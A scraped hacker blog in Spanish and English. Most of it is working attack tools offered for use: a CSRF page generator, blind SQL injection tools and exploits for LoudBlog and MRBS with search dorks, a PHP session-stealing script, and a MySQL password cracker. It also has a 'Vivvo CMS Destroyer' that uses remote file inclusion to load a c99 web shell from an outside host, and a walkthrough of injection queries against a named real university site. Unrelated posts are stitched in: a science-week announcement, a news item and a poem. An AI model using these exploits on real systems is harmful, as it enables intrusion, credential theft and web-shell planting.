if($name eq "") { $name = "campo" }
$valor = $attr->{"action"};
$metodo = $attr->{"method"};
if($metodo eq "") { $metodo = "GET"}
print "\nFormulario ".$b.": ".$name."=>".$valor."=>".$metodo."\n";
$form{$b} = [$name, $metodo];
$b++;
}
if($tag =~ "input") {
$name = $attr->{"name"};
$valor = $attr->{"value"};
print "Campo ".$i.": ".$name."=>".$valor."\n";
$input{$i} = [$name, $valor];
$i++;
}
}
$parser->parse($html);
print "\nTerminado Archivo Parseado!..\n\n";
print "\nEscribe el Formulario a utilizar:\n";
$forma=<STDIN>;
chop($forma);
print "Cuantos Campos(input) utilizara?\n";
$cantidad=<STDIN>;
chop($cantidad);
for($o=1;$o<=$cantidad;$o++)
{
print "Formulario $o?\n";
$inputa=<STDIN>;
chop($inputa);
print "Desea Cambiar el Value? [y/n]\n";
$respuesta=<STDIN>;
chop($respuesta);
if($respuesta eq "y") {
print "Escriba el Nuevo Valor:\n";
$valu=<STDIN>;
chop($valu);
} else { $valu = $input{$inputa}[1]; }
$campos .='<input type="hidden" name="'.$input{$inputa}[0].'" value="'.$valu.'">';
}
print "Url Submit?\n";
$url=<STDIN>;
chop($url);
print "Generando XSRF Espere Por Favor...\n";
$xsrf = '<html><body><!-- XSRF Generator By Xianur0 -->
<form name="'.$form{$forma}[0].'" action="'.$url.'" method="'.$form{$forma}[1].'">'.$campos.'</form>
<script>document.'.$form{$forma}[0].'.submit()</script></html></body>';
open(LECTURA,">> xsrf.htm") || die "No pudo abrirse: $!";
print LECTURA $xsrf;
close(LECTURA);
print "\n\nGenerado!: xsrf.html\n\n";

Simplifier Blind SQL Injection By Xianur0

Posted on 17:02 by Xianur0

English: This tool converts Bug Blind SQL Injection in a SQL Injection ordinary and gives you data output that is not limited only to Boolean jaja

Spanish: Esta tool simplemente convierte los bugs Blind SQL Injection en SQL Injection comunes y te da salida de datos que no solo se limitan a booleanos jejejejeje.

Una Obra Maestra :P
A Masterpiece :P


#!/usr/bin/perl

#Xianur0 CYS # perl injector.pl http://www.vuln.com/vuln.php?id=1
#
#Blind SQL Injection converter to SQL Injection
#
#Please Have Patience, running.........
#pma@localhost
#
#
#Finished!
#


# By Xianur0

use LWP::UserAgent;
$debugmode = "false";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17");
$url = $ARGV[0] || die("Use: SQL.pl [URI]\nExample: sql.pl http://www.vuln.com/vuln.php?id=1\n");
print "\nBlind SQL Injection converter to SQL Injection By Xianur0\n\n";
print "\nEnter the SQL Injection please:\n";
$sql=<STDIN>;
chop($sql);
print "\nEnter the Detector please:\n";
$detector=<STDIN>;
chop($detector);
print "\nPlease Have Patience, running.........\n";
$caracter = 1;
$i=0;
$simbolo = ">";
while($caracter ne "finito") {
if($debugmode eq "true") { print $url.'/**/AND/**/ascii(substring(('.$sql.'),'.$caracter.',1))/**/'.$simbolo.'/**/'.$i."\n";}
$req = HTTP::Request->new(GET => $url.'/**/AND/**/ascii(substring(('.$sql.'),'.$caracter.',1))/**/'.$simbolo.'/**/'.$i);
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content !~ $detector) {
if($base eq $i) { print chr($i); $caracter++; $i=0; $simbolo = ">";}
$base = $i;
$i = $i+10;
} else { if($i eq 0) { print "\nError Performing Blind (Less Value to 0)!\n"; $caracter = "finito";} else {$i = $i-1; $simbolo = "=";}
}
} else {
print "\nError detected in HTTP requests: " . $res->status_line . "!\n";
}
}

print "\nFinished!\n";

[Paper] Insecurity in PHP sessions By Xianur0

The sessions as its name says are user sessions (contain any information or ID of the user). The sessions being used on a shared server can be very serious security flaws, namely those sessions can be used for certain kinds of attacks, including a data mining (search for useful information) for example, if we go to the temporary directory used by PHP to store sessions (almost always is / tmp /) you can find sessions like this:

user|s:5:"admin";password|s:11:"mipassword";

where is the user name of the first session, 5 is the id and admin is the content, with the same password (second session).

Now we already have a username and a password.

Also, many developers overlook the possibility of Injection data sessions as the example below:

Vulnerable code (PHPNews 1.3):

if((isset($_POST['user']) && isset($_POST['password'])) || (isset($_SESSION['user']) && isset($_SESSION['password'])))
{
if(isset($_SESSION['user']) && isset($_SESSION['password']))
{
$in_user = $_SESSION['user'];
$in_password = $_SESSION['password'];
}
else if(isset($_POST['user']) && isset($_POST['password']))
{
if (!get_magic_quotes_gpc())
{
$in_user = addslashes($_POST['user']);
$in_password = addslashes($_POST['password']);
}
else
{
$in_user = $_POST['user'];
$in_password = $_POST['password'];
}
}

$result = mysql_query('SELECT * FROM ' . $db_prefix . 'posters WHERE username = \'' . $in_user . '\' AND password = password(\'' . $in_password . '\')');
$dbQueries++;
if(mysql_numrows($result) != 0)
{
$auth = true;
$_SESSION['user'] = $in_user;
$_SESSION['password'] = $in_password;
}
else
{
$bad_details = true;
}


Exploit Bypass through sessions:

<?php
session_start();
$_SESSION["user"] = "' OR '1'='1";
$_SESSION["password"] = "') OR ('1'='1";
print "Cookie Master: <br>\nPHPSESSID=".$_COOKIE['PHPSESSID']."<br>\n";
?>

the sessions are not filtered, therefore you can set up these sessions and Injection data, the exploit to schedule (above) only works if the php is using the same route of the sessions that PHPNews.

Although the safemode and this can not be bypassed directories, almost always used the same route on a temporary server for everything. So the sessions can be generated without regard to the security mechanisms that are used (enjoyable clear change the temporary directory to a free reading by another user on the same server and is completely filtering the sessions).

But can be read by the sessions that are held as temporary files and directories that time spent almost always reading for all users of that server.

You can also obtain the content of the sessions when you can not read the files directly:

<?php
@session_start();
foreach ($_SESSION as $name => $valor)
{
print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";
}
?>

PHP opens the temporary directory of sessions with the call to the global variable $_SESSION (that is not filtered in safemode), so we give the value of the sessions (the code that travels the HTTP is only a reference to the file session on the server) whatever the domain (you can specify the directory of sessions with the function session_save_path()).


I wrote a tool to automate this process:

http://xianur0.blogspot.com/2008/10/session-master-by-xianur0.html

Session Master By Xianur0

Posted on 16:55 by Xianur0


<html><title>Session Master By Xianur0</title><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center>
<h1>Session Master By Xianur0</h1><br><img alt height="100" src="http://img59.imageshack.us/img59/9729/xianur0oq5.gif" width="100"><br><br><script type="text/Javascript">function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }</script><style>.posthidden {display:none} .postshown {display:inline}</style>


<?php
@session_start();
function buscar() {
$tmp = @session_save_path();
print "<b>Directory of sessions: $tmp\n</b><br>";
$dir = @opendir($tmp);
while ($session = @readdir($dir))
{
if(eregi("sess_",$session)) {
$gestor = @fopen("$tmp/$session", "r");
$contenido = @fread($gestor, filesize("$tmp/$session"));
$contenido = @eregi_replace(';', ";\n<br><br>Session: ", $contenido);
fclose($gestor);
echo "<br>".$session."<br>\n";
$i++;
echo '<a href="javascript:expandcollapse('.$i.')">Show/Hide Code</a><br><span class="posthidden" id="'.$i.'">
<br/><table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1><tr><th>Session: '.$contenido.'</th></tr></table></span><br>';
}
}}
function definir() {
$name = $_POST['name'];
$contenido = $_POST['valor'];
$_SESSION[$name] = $contenido;
}

function definidos() {
foreach ($_SESSION as $name => $valor)
{
print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";
}
}

function menu() {
$uri = $_SERVER['REQUEST_URI'];
print "<h2>Define SESSION</h2><br><form action='".$uri."?&action=definir' method='POST'>Name: <input type='text' name='name'><br>Value: <input type='text' name='valor'><br><input type='submit' value='Set!'></form><h2>Information:</h2><b><a href='$uri?&action=definidos'>Defined Sessions</a><br><a href='$uri?&action=buscar'>Sessions On The Server</a><b>";
}

$action = $_GET['action'];


switch ($action) {
case buscar:
buscar();
break;
case definir:
definir();
break;
case definidos:
definidos();
break;
default:
menu();
break;
}

?>

LoudBlog SQL Injection Exploit All Versions

Posted on 14:30 by Xianur0

This Exploit requires a valid user name and password of an account regardless of the permissions

Author: Xianur0
Affected: All Versions
Bug: SQL Injection

Doorks:
allintext: "powered by LoudBlog"

Exploit:


#!/usr/bin/perl

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);
$ua = LWP::UserAgent->new;

print "\n LoudBlog Exploit All Version By Xianur0\n\n";
$uri = $ARGV[0];
$id = $ARGV[1];
$password = $ARGV[3] || die("\nUse: loudblog.pl [URI] [ID Admin] [Valid User] [Valid Password]\n");
$md5 = md5_hex($ARGV[2]).":".md5_hex($password);

my $req = POST $uri.'/loudblog/ajax.php',
[ colpick => "concat(0x557365723a20,nickname,0x0d0a50617373776f72643a20,password)", rowpick => "id", rowval => $id, table => 'authors', action => 'singleread'];
$req->header('User-Agent' => 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17');
$req->header('Cookie' => 'lbauth='.$md5);
$res = $ua->request($req);
print $res->content."\n";


Bug:


//which row do we manipulate?
$rowpick = "";
if (isset($p['rowpick'])) $rowpick = $p['rowpick'];
$rowval = "";
if (isset($p['rowval'])) $rowval = $p['rowval'];


//which column do we manipulate or read?
$colpick = "";
if (isset($p['colpick'])) $colpick = $p['colpick'];
$colval = "";
if (isset($p['colval'])) $colval = $p['colval'];
if (isset($p['makehtml'])) $colval = makehtml($p['colval']);


// do the request action!!

if ($p['action'] == "singleread") {
$dosql = "SELECT ".$colpick." FROM ". $table." WHERE ".$rowpick." = '".$rowval."'";
$return = $GLOBALS['lbdata']->GetArray($dosql);
echo $return[0][$colpick];

Princeton Blind SQL Injection

Posted on 18:01 by Xianur0

Reporte el bug al admin, y le prometí que no lo diría hasta haberlo corregido:

http://calendar.astro.princeton.edu/mrbs/

(metan en google la búsqueda: astro.princeton.edu/mrbs
y verán que CMs usaba jejeje)

Mensaje:

Good evening, my nickname is Xianur0, I write about and reported security flaws in its system, to begin a Blind SQL Injection (do not authorized to consult your SQL system (MySQL)) for example:

http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),1,1))=109
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),2,1))=114
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),3,1))=98
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),4,1))=115
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),5,1))=64
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),6,1))=108
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),7,1))=111
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),8,1))=99
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),9,1))=97
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),10,1))=108
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),11,1))=104
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),12,1))=111
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),13,1))=115
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1+AND+ascii(substring((SELECT+user()),14,1))=116

By making a SQL incorrect table stays empty rooms or with a single element, to be correct these consultations, the table shows all the rooms.

Sorting the results in ASCII:
109,114,98,115,64,108,111,99,97,108,104,111,115,116

and translate them into a readable string, we get:
mrbs@localhost

Which is the user of MySQL used by the system, now we made another inquiry to identify which tables are permitted for that user in MySQL:
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1 AND (SELECT count (*) FROM INFORMATION_SCHEMA.TABLES)
There database: INFORMATION_SCHEMA and table: tables, this database contains information on the MySQL (for example: tables, columns, etc.), we now how many databases that are in mysql:

http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1 AND (SELECT count (TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES) = 20

This means that there are 20 databases recorded in the INFORMATION_SCHEMA, and if we keep the first step (to which we obtained the user can obtain the structure of the system, users obtain and carry out an attack on the system).


Profile: http://milw0rm.com/author/1657
Nick: Xianur0
Web: http://xianur0.blogspot.com
Email: uxmal666@gmail.com

Sorry For My Bad English

bueno el mensaje sirve como ejemplo de Blind SQL Injection manual xD...

jeje hasta los grandes tienen sus malos momentos...



#!/usr/bin/perl

#Vivvo CMS Destroyer
#uxmal666@gmail.com
#By Xianur0
#-------------CREDITS-------------
#http://milw0rm.com/exploits/4192
#http://milw0rm.com/exploits/3326
#http://milw0rm.com/exploits/2339
#http://milw0rm.com/exploits/2337
#-------------/CREDITS-------------

print "\n Vivvo CMS Destroyer By Xianur0\n";

#-----------CONFIG----------
$SHELL='http://y4m15p33dy.vilabol.uol.com.br/c99.txt';
$textshell = 'C99Shell v.';
#----------/CONFIG----------
use LWP::UserAgent;
use Switch;
my $path = $ARGV[0];
$path = shift || &uso;
sub uso { print "\nUse: vivvo.pl [URI to Vivvo CMS]\n"; exit;}
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17");
$req = HTTP::Request->new(GET => $path."/feed.php?output_type=rss");
$req->header('Accept' => 'text/javascript, text/html, application/xml, text/xml, */*');
$res = $ua->request($req);
if ($res->is_success && $res->content =~ "generator") {
&parser($res->content);
} else {
$req = HTTP::Request->new(GET => $path."/index.php?feed");
$req->header('Accept' => 'text/javascript, text/html, application/xml, text/xml, */*');
$res = $ua->request($req);
if ($res->is_success && $res->content =~ "generator") {
&parser($res->content);
}
else { print "\nError getting data!\n"; exit;}
}

&backups;


sub parser {
my @datos = split('<generator>Vivvo CMS ', $_[0]);
my @version = split('</generator>', $datos[1]);
$version = $version[0];
if($version[0] == "") {
my @datos = split('<meta name="generator" content="Vivvo ', $_[0]);
my @version = split('" />', $datos[1]);
$version = $version[0];
}
print "Version: ".$version."\n";
if($version < "4") { print "Outdated version of Vivvo CMS!\n"; &desactualizada($version);}
}

sub backups {
$req = HTTP::Request->new(GET => "$path/backup");
$req->header('Accept' => 'text/xml');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content =~ "<title>Index of /backup</title>") {
print "\n Backups:\n";
my @datos = split('<a href="', $res->content);
$datos[0] = "";
foreach $archivos (@datos) {
my @archivo = split('">', $archivos);
if($archivo[0] !~ /\?/){print $archivo[0]."\n"; }
}
print "\nUnprotected Directory: $path/backup\n";
}
}
}

sub rfi {
$vuln = $_[0];
$req = HTTP::Request->new(GET => "$path/$vuln=$SHELL?");
$req->header('Accept' => 'text/xml');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content =~ $textshell) {
print "RFI Detected!: $path/$vuln=$SHELL?";
}
}}

sub sql {
$exploit = "pdf_version.php?id=-1%20UNION%20SELECT%201,2,3,password,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20FROM%20tblUsers%20where%20userid=1";
$req = HTTP::Request->new(GET => "$path/$exploit");
$req->header('Accept' => 'text/xml');
$res = $ua->request($req);
if ($res->is_success) {
print "SQL Injection Generated: $path$exploit";
}
}

sub blind {
for($i=1; $i<32;$i++) {
for($o=30; $o<102;$o++) {
$injection = "$path/index.php?category=/**/AND/**/(ascii(substring((SELECT/**/password/**/FROM/**/tblUsers/**/WHERE/**/userid=1),".$i.",1))=".$o;
$req = HTTP::Request->new(GET => $injection);
$req->header('Accept' => 'text/xml');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content != "") {
print "Blind Done Correctly!: $injection";
}
}
}}}

sub desactualizada {
$version = $_[0];
switch ($version) {
case "3.4" { print "Blind SQL Injection trying ....\n"; &blind; print "Intentando RFI....\n"; &rfi('include/db_conn.php?root');}
case "3.2" { print "RFI trying ....\n"; &rfi('index.php?classified_path'); print "SQL Injection....\n"; &sql;}
else { print "There is no registration for this Exploit Version! : (\n";}
}
}


http://milw0rm.com/exploits/6789

"MRBS is a system for multi-site booking of meeting rooms. Rooms are grouped by building/area and shown in a side-by-side view. Although the goal was initially to book rooms, MRBS can also be used to book any resource (computer, planes, whatever you want)".

Web CMS: http://sourceforge.net/projects/mrbs/
Affected: Previous versions of mrbs 1.4
Solution: Update to Version 1.4

Doorks:
"Meeting Room Booking System" "month.php?area="
"Meeting Room Booking System" "day.php?area="
"Meeting Room Booking System" "week.php?area="

Author: Xianur0
Try: http://www.sitio.com/path/month.php?area=1/**/and/**/1=0

Exploit:

Código:
#!/usr/bin/perl

#Xianur0 CYS # perl blind.pl http://www.victima/st/schedule/ 'SELECT user()'
#
#Exploit MRBS By Xianur0
#
#Please Have Patience, The Blind SQL Injection is running.........
#pma@localhost
#
#
#Finished!
#


# By Xianur0

use LWP::UserAgent;

%ascii = ("32", " ","32", " ","33", "!","34", '"',"35", "#","36", '$',"37", "%","38", "&","39", "'","40", "(","41", ")","42", "*","43", "+","44", ",","45", "-","46", ".","47", "/","48", "0","49", "1","50", "2","51", "3","52", "4","53", "5","54", "6","55", "7","56", "8","57", "9","58", ":","59", ";","60", "<","61", "+","62", ">","63", "?","64", '@',"65","A","66","B","67","C","68","D","69","E","70","F","71","G","72","H","73","I","74","J","75","K","76","L","77","M","78","N","79","O","80","P","81","Q","82","R","83","S","84","T","85","U","86","V","87","W","88","X","89","Y","90","Z","95","_","97", "a", "98", "b", "99", "c", "100", ,"d","101","e", "102", "f", "103","g", "104", "h", "105","i", "106", "j", "107","k", "108", "l", "109","m", "110", "n", "111","o", "112", "p", "113","q", "114", "r", "115","s", "116", "t", "117","u", "118", "v", "119","w", "120", "x", "121","y", "122", "z");

$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17");
$url = $ARGV[0];
$sql = $ARGV[1] || die("Use: blind.pl [Complete URL] [SQL Injection]\nExample: blind.pl http://www.victima.com/mrbs/ 'SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES'\n");
print "\nExploit MRBS By Xianur0 \n\nPlease Have Patience, The Blind SQL Injection is running.........\n";
$caracter = 1;
$i=0;
$detector = '<h1>No rooms defined for this area</h1>';
$simbolo = ">";
while($caracter ne "finito") {
$req = HTTP::Request->new(GET => $url.'/month.php?year=2008&month=08&area=1%20AND ascii(substring(('.$sql.'),'.$caracter.',1)) '.$simbolo.' '.$i);
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content !~ $detector) {
if($base eq $i) { print "$ascii{$i}"; $caracter++; $i=0; $simbolo = ">";}
$base = $i;
$i = $i+10;
} else { if($i eq 0) { print "\nError Performing Blind (Less Value to 0)!\n"; $caracter = "finito";} else {$i = $i-1; $simbolo = "=";}
}
} else {
print "\nError detected in HTTP requests: " . $res->status_line . "!\n";
}
}

print "\nFinished!\n";


http://milw0rm.com/exploits/6781

En la Semana Nacional de Ciencia y Tecnología (SNCT), niños y jóvenes conocen las múltiples posibilidades que ofrecen las áreas de la ciencia en los campos de la actividad productiva, la investigación científica y la docencia; su misión es promover la ciencia y proyectarla como pilar fundamental del desarrollo económico, cultural y social de nuestro país. Comparten este propósito las instituciones educativas, asociaciones científicas, secretarías de estado, empresas, centros de investigación, museos de ciencia y gobiernos estatales.

La SNCT se realizará del 20 al 24 de octubre en todo el territorio nacional y se concreta en eventos creativos y propositivos de científicos, maestros, divulgadores y empresarios mediante ciclos de conferencias, talleres, exposiciones, demostraciones, visitas guiadas, concursos y ferias científicas, entre otros.

En el estado de Veracruz coordinan la SNCT el Consejo Veracruzano de Ciencia y Tecnología (Covecyt), la Universidad Veracruzana (UV), el Instituto de Ecología (Inecol), las secretarías de Educación en Veracruz (SEV) y de Educación Pública (SEP), la oficina del Conacyt en el estado, los ayuntamientos de Xalapa, Banderilla y Coatepec, con el apoyo de las autoridades educativas estatales, entre otros.

Actividades en Xalapa

La inauguración será el lunes 20 de octubre a las 18:00 horas en el Palacio Municipal, con el mensaje de bienvenida del alcalde David Velasco Chedraui. Acto seguido, autoridades del Conacyt, Covecyt, UV, SEV, SEP y del Fondo de Cultura Económica (FCE) entregarán reconocimientos a alumnos destacados en eventos científicos nacionales.

Posteriormente, Zaira Domínguez Esquivel, investigadora de la Unidad de Servicios de Apoyo de Resolución Analítica de la UV, dará un mensaje a los asistentes. Se cierra el evento con un concierto de la Orquesta Municipal de Xalapa.

Al día siguiente se inauguran los Espacio de Ciencia y Tecnología en Xalapa, Banderilla y Coatepec.
En Xalapa el Espacio de Ciencia y Tecnología será el Centro Recreativo Xalapeño, del martes 21 al jueves 23 de octubre, en horario de 10:00 a 14:00 y de 17:00 a 20:00 horas, con las siguientes actividades:
El martes se hará la presentación de la convocatoria 2009 “Leamos la Ciencia para Todos” para estudiantes de secundaria, bachillerato y universidad. Durante todo el día habrá charlas de divulgación científica, así como los talleres “Juguemos con la ciencia” y “Manejo de residuos: integrando conocimiento y práctica para el cuidado ambiental”, dirigidos a docentes y padres de familia. Se podrá recorrer la exposición de prototipos tecnológicos de las diferentes instituciones de educación.

El miércoles se ofrecen charlas de divulgación científica impartidas por investigadores de la UV y el Inecol, con temas interesantes como “La basura, un problema o una oportunidad” o “Una aproximación al protométodo (o cómo hacer chilaquiles sin quemarlos)”, con los Camaradas de la Ciencia. Se organizan los talleres “Manejo de residuos: Integrando conocimiento y práctica para el cuidado ambiental” y “Una ruta hacia la lectura de la ciencia” y continúa la exposición de prototipos tecnológicos.

El jueves siguen charlas de divulgación científica como “Robótica Didáctica”; también los talleres “Lectura y creatividad”, “Las ciencias y el ámbito cotidiano” y “Separa, aprende, diviértete y salva al planeta”. La exposición de prototipos tecnológicos, “El Bingo de la Ciencia”, y la obra de teatro La ciencia no es como la pintan… de rojo. La versión del Lobo y la caperucita…roja.

Informes con Adalberto Fox al correo afox@uv.mxEsta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla , o al teléfono 817-40-57.

Periodismo científico

Martín Bonfil, de la Dirección de Divulgación Científica de la UNAM, ofrecerá del 20 al 22 de octubre, de 10:00 a 14:00 horas, el III Curso de Periodismo Científico, dirigido a los profesionales de los medios de comunicación del estado, en la sala de videoconferencias de la Dirección de Investigaciones de la UV en Xalapa, con transmisión a las salas de videoconferencias de Poza Rica, Coatzacoalcos, Boca del Río y Orizaba. Inscripciones gratuitas al correo covecyt@gmail.comEsta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla con Heriberto Contreras, o al teléfono 841-36-70.

Espacio de Ciencia y Tecnología en Banderilla

Las actividades serán en “La casa del abuelo” en el centro de Banderilla, del miércoles 22 al viernes 24 de octubre, de 9:00 a 12:00 horas, y se ofrecerán talleres científicos simultáneos como las Olimpiaguas;

¿Está claro?; Hidráulica colonial; Uniéndose; Ramificaciones y Visualizando el agua subterránea. También se hará la proyección de videos, una presentación de prototipos tecnológicos, así como talleres para docentes.

En esta sede se hará la clausura oficial de la SNCT el día viernes con la presentación de las convocatorias a los concursos infantil y juvenil “Imagina la ciencia y la tecnología”. Coordina Gloria Jiménez, al correo jimmoreg@hotmail.comEsta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla

También en Coatepec

En el Palacio Municipal, el lunes 20 de octubre se llevará a cabo el programa de la SNCT, iniciando con un mensaje de Sergio Ramírez Cabañas, presidente municipal, después de la conferencia que ofrecerá Gerardo Mata Montes de Oca, secretario técnico del Inecol. A las 11:00 horas se presentará la obra de teatro Alpha: un pedacito de cielo, y posteriormente se hará un recorrido por la exposición de prototipos del CBTIS 165.

Habrá un concurso de dibujo infantil y la Carrera de la Semana de la Ciencia. Cerrando con música veracruzana con el grupo “Zarambeaque”. Coordina en Coatepec Guadalupe López gplopez@ecologia.edu.mxEsta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla

Simultáneamente en todo Veracruz y el país, las diferentes instituciones educativas, ayuntamientos, empresas y dependencias gubernamentales organizan actividades similares que permitan fomentar entre la población el interés por la ciencia y la tecnología. La invitación es a participar y sumarse a esta labor que beneficia a nuestros niños y jóvenes.

La programación detallada se podrá consultar en la página www.cienciaenveracruz.blogspot.com


Una opinión Persona: Creo que por ahí verán a Xianur0 Haciendo desastre entre la multitud, aunque me párese algo bastante vació....

Se queja McCain con YouTube

Posted on 17:18 by Xianur0

YouTube, el sitio de difusión de videos por internet, rechazó una petición para revisar sus políticas y dejar de remover en forma expedita videos de campaña del republicano John McCain que pudieran infringir leyes de derecho de autor.

Los videos de campaña de McCain han sido removidos con frecuencia por YouTube, tras recibir quejas de que algunos infringen las leyes de derecho de autor al utilizar imágenes y audios de debates de televisión y discos protegidos, sin contar con los permisos para ello.

El asesor legal de la campaña de McCain, Trevor Potter, envió esta semana una carta a los ejecutivos de YouTube y de Google, en la que solicitó una 'completa revisión legal' de las notificaciones de remoción interpuestas contra los vídeos colocados por las campañas políticas.

YouTube está protegido por el Acta Digital del Milenio sobre Derecho de Autor (DMCA, por sus siglas en inglés), de tener responsabilidad por difundir material ilegal, siempre y cuando la compañía actué y lo remueva cuando sea notificada de un video que infringe el derecho de autor.

Aun así, YouTube enfrenta demandas de parte de compañías distribuidoras de discos y videos, de infringir las leyes de derecho de autor.

En la respuesta a la carta de la campaña de McCain, el abogado en jefe de YouTube, Zahavah Levine, explicó la dificultad que tienen jueces y abogados sobre lo que constituye un uso justo de los materiales con derecho de autor.

'Ningún número de abogados puede posiblemente determinar con un nivel razonable de certitud si todos los vídeos de los que recibimos quejas para que sean removidos califican como de uso justo', dijo Levine.

'La DMCA provee una salvaguarda de seguridad estatutaria para proveedores de servicio como YouTube que albergan contenido', explicó.

'Sin esta salvaguarda de seguridad, sitios como YouTube no pudieran existir. El problema real aquí es las entidades e individuos que abusan el proceso de la DMCA', agregó el abogado de la compañía.

McCain, quien se encuentra abajo en las encuestas y ha sido sobrepasado en gastos de publicidad por su contrincante, el demócrata Barack Obama, busca mantenerse vivo y sin menoscabo en el poderoso canal de difusión que significa YouTube.

En la actual contienda electoral en Estados Unidos, YouTube está robando en forma importante audiencias a las cadenas nacionales de televisión, al convertirse en un sitio casi imprescindible para las campañas políticas.

De acuerdo con el Centro de Investigación Pew, un 35 por ciento de los estadunidenses encuestados en la primavera pasada indicaron haber visto vídeos relacionados a las campañas políticas tres veces más que en 2004.

Jaquemate

Posted on 11:36 by Xianur0


Se que no cree este Blog para esto, pero quiero que comprendan un poco el por que de mis acciones.... un Verso de mi autoria:


Sueña que hay por que vivir
sueña que alguien te regalara una emoción
sueña que alguien cree en ti
aunque simplemente te quieran destruir
sin importar lo que piensen nosotros existimos
no somos nadie al nacer
solo queda ser leyenda
no somos nadie si nada hacemos
juega este juego que es la vida
cree en que hay esperanza, pero no la hay
has de este mundo tu tablero
no temas mover las piezas del destino
tan solo gana
no temas sacrificar algo
por que nada es permanente
al final en esta vida el juego es sobrevivir
Eres dios o solo un perdedor?
Ganadores somos los que queremos serlo
y los demás nuestros peones
En este juego del destino solo queda ganar o morir
Al Final una explosión pasajera de imágenes
Que con Mi puño cambiare
Forja el Destino cual espada
Y Recuerda por que estas aquí
Aprende de tus errores y Gana la partida
La Victoria es nuestra
Tu alma me pertenecerá si te equivocas
Nadie esperara tu turno
Siempre eres vulnerable
Haste fuerte o Muere
Por que el Juego Comienza!


No seré Tan Solo Un Peón!

Crackeador password() MySQL

Posted on 17:32 by Xianur0

Por Correo me pidieron el crackeador con insistencia, así que en un tiempo libre que logre hacerme, hice este crackeador, el cual necesita una base de datos txt y un servidor MySQL (sirve permisos nobody):


<html>
<body>
<?php
$server = "localhost";
$usuario = "nobody";
$password = "";
$diccionario = "diccionario.txt";

if(is_array($_GET['hash'])) { print "Intento de Path Disclosure Detectado!\n"; exit; } else { $hash = $_GET['hash'];}
if(eregi("[SELECT]+[UNION]+[AND]+[OR]+[)]", $hash)) exit;
htmlentities($hash);
$link = mysql_connect($server, $usuario, $password);
if(!mysql_real_escape_string($hash, $link)) exit;
$archivo = file($diccionario);
foreach($archivo as $n=>$linea) {
$resultado = mysql_query("SELECT password('$linea')", $link);
while ($row = mysql_fetch_row($resultado)){
if($row[0] == $hash) {
die("<b>Password Encontrada:</b> $linea\n<br><b>Passwords Probadas:</b> $n\n<br>");
}
}}
?>
</body>
</html>

Ejemplo:

http://127.0.0.1/crackeador.php?hash=*E30E2ECBF3FC6D46D4239C068C14E6A202B1019B

Resultado:

Password Encontrada: xianur0
Passwords Probadas: 0

(lo encontró en el primer dato que leio xD...)

Suponiendo que tenemos una SQL Injection, pero no encontramos datos útiles, para ello tenemos muchas opciones que muchas veces están por default en los servidores, y otras tablas de administradores de archivos/bases de datos, también nos son útiles:

  • information_schema
  • mysql
  • etc....
Comenzaremos con la information_schema:

Tablas:

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
